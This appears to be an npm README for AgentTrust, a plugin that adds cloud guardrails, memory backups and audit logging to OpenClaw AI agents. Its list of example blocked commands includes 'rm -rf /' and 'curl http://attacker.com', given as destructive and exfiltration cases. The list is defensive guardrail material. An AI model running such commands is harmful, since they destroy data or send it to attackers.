@agenttrust/agenttrust

v1.0.6

Published

8 days ago

Cloud guardrails, audit logging, and backup for OpenClaw autonomous AI agents

0High
0Medium
0Low

agenttrust

openclaw openclaw-plugin ai-agent backup audit logging security agenttrust

AgentTrust Plugin for OpenClaw

Cloud Guardrails + Backup + Audit Logging for Autonomous AI Agents

AgentTrust provides cloud-first guardrails, automatic memory backup, and immutable audit logging — powered by AgentTrust.ai.

Quick Start

# 1. Install into OpenClaw's managed plugin directory
openclaw plugins install @agenttrust/agenttrust --pin

# 2. Configure (enter your API key)
agenttrust config

# 3. Restart OpenClaw
openclaw gateway restart

Done! Your agent now has cloud guardrails, automatic backups, and audit logging.

Features

✅ Cloud Guardrails (Live)

Real-time validation of tool calls against server-side security policies:

Manifest-driven: All rules managed server-side (no client config needed)
Selective monitoring: Only tools in manifest are validated via cloud
Smart fallback: If cloud unreachable, per-tool fallback action applies
Zero latency impact: Fire-and-forget with intelligent caching
Full audit trail: Every validation logged with pattern/rule metadata

Example blocked commands:

rm -rf / → ❌ Blocked (destructive command)
curl http://attacker.com → ❌ Blocked (data exfiltration)
npm install safe-package → ✅ Allowed (low risk)

✅ CloudBackup (Live)

Automatic snapshots of your agent's memory on every gateway restart:

Files backed up:
- ~/.openclaw/openclaw.json
- ~/.openclaw/workspace/MEMORY.md
- ~/.openclaw/workspace/SOUL.md
- ~/.openclaw/workspace/AGENTS.md
- ~/.openclaw/workspace/memory/ (entire directory)
Deduplication: SHA-256 hashing prevents redundant storage
Cross-platform: Works on Windows, Mac, Linux (automatic path handling)
Fire-and-forget: Zero performance impact, 30s timeout
Smart limits: Respects maxFileSizeBytes, maxTotalBytes, maxFileCount from server

Security (Client-Side Enforcement):

Backup scope: ONLY ~/.openclaw/workspace/ and openclaw.json can be backed up
Credential protection: .env, .ssh/, *.pem, *.key, credentials auto-blocked
Zero-trust: Even if server is compromised, only workspace files (minus secrets) are accessible

Retention tiers:

Free: 7 days
Pro: 90 days
Ultimate: 365 days

✅ Cloud Logging (Live)

Immutable audit trail of every agent action:

Tool calls — Every exec, read, web_search with full params and outputs
Prompts — Full context before each LLM decision
Session events — Session start, reset, stop timestamps

Where logs go:

Local JSONL: ~/.openclaw/logs/agenttrust/audit.jsonl
Remote cloud: POST https://agenttrust.ai/api/openclaw/cloudlogs
Fire-and-forget: 3s timeout, never blocks your agent

🚧 Coming Soon

Time Machine UI — Restore snapshots from dashboard (v1.1)
Ops Replay — Reconstruct full sessions from cloud logs (v1.1)
InjectionGuard — Prompt injection detection (v1.2)
Semantic Time Travel — Query "what did my agent know on Feb 10?" (v2.0)

Installation

1. Get an API Key

2. Install the Plugin

# Recommended: let OpenClaw install into ~/.openclaw/extensions/agenttrust
openclaw plugins install @agenttrust/agenttrust --pin

# Local development / manual install
openclaw plugins install .

OpenClaw installs the package into its managed extensions directory and enables the plugin in config.

3. Configure API Key

The plugin intentionally does not mutate your OpenClaw config during npm install. Set or update your API key explicitly:

agenttrust config

For non-interactive VPS/headless setup:

agenttrust config --api-key "$AGENTTRUST_API_KEY"

4. Restart OpenClaw

openclaw gateway restart

5. Verify It's Working

Check gateway logs after restart:

tail -20 ~/.openclaw/logs/agenttrust/audit.jsonl

You should see backup events:

{"ts":"2026-02-20T13:49:09.035Z","hook":"gateway_start","level":"info","data":{"message":"CloudBackup: uploaded ... files"}}

Configuration

Plugin config lives in ~/.openclaw/openclaw.json under plugins.agenttrust:

{
  "plugins": {
    "agenttrust": {
      "enabled": true,
      "cloudBackup": {
        "enabled": true,
        "endpoint": "https://agenttrust.ai"
      },
      "cloudLogging": {
        "enabled": true,
        "endpoint": "https://agenttrust.ai",
        "logLevel": "standard",
        "hooks": [
          "before_tool_call",
          "after_tool_call",
          "before_prompt_build",
          "command:new",
          "command:reset",
          "command:stop"
        ]
      }
    }
  }
}

Config Reference

CloudBackup

| Key | Type | Default | Description | |-----|------|---------|-------------| | enabled | boolean | true | Toggle automatic backups | | endpoint | string | https://agenttrust.ai | Server endpoint |

Cloud Logging

| Key | Type | Default | Description | |-----|------|---------|-------------| | enabled | boolean | true | Toggle cloud logging | | endpoint | string | https://agenttrust.ai | Server endpoint | | logLevel | string | "standard" | Log verbosity: minimal, standard, verbose | | hooks | string[] | [...] | Which OpenClaw hooks to log |

How It Works

CloudBackup Flow

Gateway Start
    ↓
GET /api/openclaw/backup/manifest
    ↓ (server returns paths to back up)
Collect files from paths
    ↓ (SHA-256 hash each file)
POST /api/openclaw/backup/upload
    ↓ (server deduplicates + stores)
Done (fire-and-forget, ~30s max)

Manifest-driven: Server tells plugin what to back up. No hardcoded paths in plugin.

Deduplication: Files with identical SHA-256 hashes reuse existing blobs in Cloud Storage.

Skipped files tracked: summary.skipped reports tooLarge, excluded, unreadable, limitReached.

Cloud Logging Flow

Agent action (tool call, prompt, session event)
    ↓
Extract event data (params, timestamp, session, etc.)
    ↓
Write to local JSONL (~/.openclaw/logs/agenttrust/audit.jsonl)
    ↓
POST to cloud endpoint (fire-and-forget, 3s timeout)
    ↓
Done (agent never waits)

Event types:

tool_call_start — Before tool execution
tool_call_end — After tool completes (includes output + duration)
prompt — Before LLM call (full prompt context)
session_new, session_reset, session_stop — Session lifecycle

Log Files

Logs are written to ~/.openclaw/logs/agenttrust/audit.jsonl in JSONL format (one JSON object per line).

Example entries:

{"ts":"2026-02-20T13:49:09.035Z","hook":"gateway_start","level":"info","session":"045d8da7-956d-4502-9735-022e93d26d00","agent":"agent:main:main","data":{"message":"CloudBackup: uploading 15 files (68696 bytes)"}}

{"ts":"2026-02-20T13:49:19.998Z","hook":"before_tool_call","level":"verbose","session":"045d8da7-956d-4502-9735-022e93d26d00","agent":"agent:main:main","data":{"toolName":"exec","params":{"command":"openclaw gateway restart","timeout":10}}}

{"ts":"2026-02-20T13:49:20.123Z","hook":"after_tool_call","level":"standard","session":"045d8da7-956d-4502-9735-022e93d26d00","agent":"agent:main:main","data":{"toolName":"exec","success":false,"durationMs":125}}

Troubleshooting

Plugin not loading?

Check openclaw gateway restart output for errors
Verify plugin directory exists: ls ~/.openclaw/extensions/agenttrust/

No backups happening?

Check API key is set: grep AGENTTRUST_API_KEY ~/.openclaw/workspace/.env
Check logs: tail ~/.openclaw/logs/agenttrust/audit.jsonl
Test manifest endpoint: curl -H "Authorization: Bearer YOUR_KEY" https://agenttrust.ai/api/openclaw/backup/manifest

Backups timing out?

Large workspaces may hit 30s limit
Check server-side limits: maxFileSizeBytes, maxTotalBytes, maxFileCount
Review summary.skipped in upload logs

Cross-platform path issues?

Plugin uses os.homedir() + path.join() — paths should work everywhere
Server sends ~/.openclaw/... notation (works on all platforms)

API endpoint unreachable?

Plugin fails silently (fire-and-forget)
Local JSONL logging continues working
Check network/firewall

Roadmap

[x] v0.9.0-beta — CloudBackup + Cloud Logging
[x] v1.0.0 — Cloud Guardrails (manifest-driven tool validation)
[ ] v1.1.0 — Time Machine restore UI + Ops Replay
[ ] v1.2.0 — InjectionGuard
[ ] v2.0.0 — Semantic Time Travel (query agent memory at specific dates)

Support

Dashboard: agenttrust.ai
Docs: This README + plugin source code
Issues: github.com/agenttrust/agenttrust/issues

License

MIT — See LICENSE